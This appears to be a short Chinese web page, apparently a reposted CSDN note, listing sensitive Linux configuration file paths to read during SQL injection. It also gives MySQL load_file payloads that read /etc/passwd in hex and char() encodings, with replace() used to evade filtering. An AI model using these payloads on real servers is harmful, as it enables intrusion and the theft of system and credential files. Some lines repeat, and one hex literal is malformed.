/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
#以上关于SQL注入基础入门的相关内容来源网络仅供参考,相关信息请以官方公告为准!
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93302.html